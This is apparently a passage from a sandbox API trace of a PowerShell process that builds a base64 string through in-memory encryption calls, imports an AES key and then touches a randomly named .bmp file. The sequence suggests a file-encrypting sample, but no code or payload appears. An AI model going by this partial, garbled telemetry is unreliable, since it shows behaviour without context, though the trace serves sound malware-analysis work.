[0189.870] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.871] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0189.871] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0189.871] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.871] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0189.871] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.871] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0189.871] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0189.871] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.871] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0189.871] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0189.871] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0189.871] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0189.871] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0189.871] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0189.872] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.872] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0189.872] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.872] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0189.872] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0189.872] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.872] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0189.872] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.872] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0189.872] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0189.872] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.872] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0189.872] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.872] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0189.872] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0189.872] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.873] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0189.873] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.873] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0189.873] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0189.873] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.873] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0189.873] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.873] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0189.873] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0189.873] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.873] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0189.873] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.873] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0189.873] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0189.873] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.874] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0189.874] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.874] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0189.874] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0189.874] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.874] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0189.874] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0189.874] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0189.874] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0189.874] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0189.874] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0189.874] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.874] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0189.874] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.875] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0189.875] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0189.875] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.875] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0189.875] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.875] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0189.875] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0189.875] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.875] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0189.875] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.875] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0189.875] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0189.875] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.875] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0189.875] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.875] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0189.875] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0189.876] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.876] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0189.876] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.876] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0189.876] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0189.876] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.876] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0189.876] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.876] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0189.876] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0189.876] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.876] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0189.876] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.876] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0189.876] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0189.876] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.877] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0189.877] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0189.877] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0189.877] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0189.877] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0189.877] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0189.877] SystemFunction041 (in: Memory=0x3c0bcc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0bcc) returned 0x0 [0189.877] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0189.877] SystemFunction040 (in: Memory=0x3c0bcc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0bcc) returned 0x0 [0189.878] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0189.878] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0189.878] SystemFunction041 (in: Memory=0x3c0bcc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0bcc) returned 0x0 [0189.878] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0189.878] SystemFunction040 (in: Memory=0x3c0bcc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0bcc) returned 0x0 [0189.878] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0189.878] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0189.878] SystemFunction041 (in: Memory=0x3c0bcc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0bcc) returned 0x0 [0189.878] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0189.878] SystemFunction040 (in: Memory=0x3c0bcc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0bcc) returned 0x0 [0189.878] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0189.878] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0189.878] SystemFunction041 (in: Memory=0x3c0bcc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0bcc) returned 0x0 [0189.878] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0189.878] SystemFunction040 (in: Memory=0x3c0bcc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0bcc) returned 0x0 [0189.879] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0189.879] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0189.879] SystemFunction041 (in: Memory=0x3c0bcc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0bcc) returned 0x0 [0189.879] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0189.879] SystemFunction040 (in: Memory=0x3c0bcc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0bcc) returned 0x0 [0189.879] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0189.879] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0189.879] SystemFunction041 (in: Memory=0x3c0bcc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0bcc) returned 0x0 [0189.879] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0189.879] SystemFunction040 (in: Memory=0x3c0bcc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0bcc) returned 0x0 [0189.879] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0189.879] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0189.879] SystemFunction041 (in: Memory=0x3c0bcc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0bcc) returned 0x0 [0189.879] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0189.879] SystemFunction040 (in: Memory=0x3c0bcc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0bcc) returned 0x0 [0189.879] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0189.879] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0189.880] SystemFunction041 (in: Memory=0x3c0bcc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0bcc) returned 0x0 [0189.880] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0189.880] SystemFunction040 (in: Memory=0x3c0bcc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0bcc) returned 0x0 [0189.880] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0189.880] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0189.880] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0189.880] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0189.880] SystemFunction041 (in: Memory=0x3da51c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da51c) returned 0x0 [0189.880] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0189.880] SystemFunction040 (in: Memory=0x3da51c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da51c) returned 0x0 [0189.880] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0189.880] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0189.880] SystemFunction041 (in: Memory=0x3da51c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da51c) returned 0x0 [0189.881] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0189.881] SystemFunction040 (in: Memory=0x3da51c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da51c) returned 0x0 [0189.881] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0189.881] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0189.881] SystemFunction041 (in: Memory=0x3da51c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da51c) returned 0x0 [0189.881] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0189.881] SystemFunction040 (in: Memory=0x3da51c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da51c) returned 0x0 [0189.881] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0189.881] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0189.881] SystemFunction041 (in: Memory=0x3da51c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da51c) returned 0x0 [0189.881] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0189.881] SystemFunction040 (in: Memory=0x3da51c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da51c) returned 0x0 [0189.881] EtwEventActivityIdControl () returned 0x0 [0189.882] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0189.882] SystemFunction041 (in: Memory=0x3da51c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da51c) returned 0x0 [0189.882] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0189.882] SystemFunction040 (in: Memory=0x3da51c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da51c) returned 0x0 [0189.883] CryptAcquireContextW (in: phProv=0x5a2e660, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e660*=0x3742b0) returned 1 [0189.885] CryptImportKey (in: hProv=0x3742b0, pbData=0x23f3740*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea54 | out: phKey=0x5a2ea54*=0x5c69080) returned 1 [0189.885] CryptContextAddRef (hProv=0x3742b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0189.886] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e7c0, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.886] EtwEventActivityIdControl () returned 0x0 [0189.886] EtwEventActivityIdControl () returned 0x0 [0189.886] EtwEventActivityIdControl () returned 0x0 [0189.892] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\5ifudwany.bmp")) returned 0x20 [0189.893] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\5ifudwany.bmp")) returned 0x20 [0189.893] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0189.894] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp", lpFilePart=0x0) returned 0x36 [0189.894] EtwEventActivityIdControl () returned 0x0 [0189.895] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0189.895] EtwEventActivityIdControl () returned 0x0 [0189.895] EtwEventActivityIdControl () returned 0x0 [0189.895] EtwEventActivityIdControl () returned 0x0 [0189.897] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\5iFUDWANY.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0189.897] GetFullPathNameW (in: 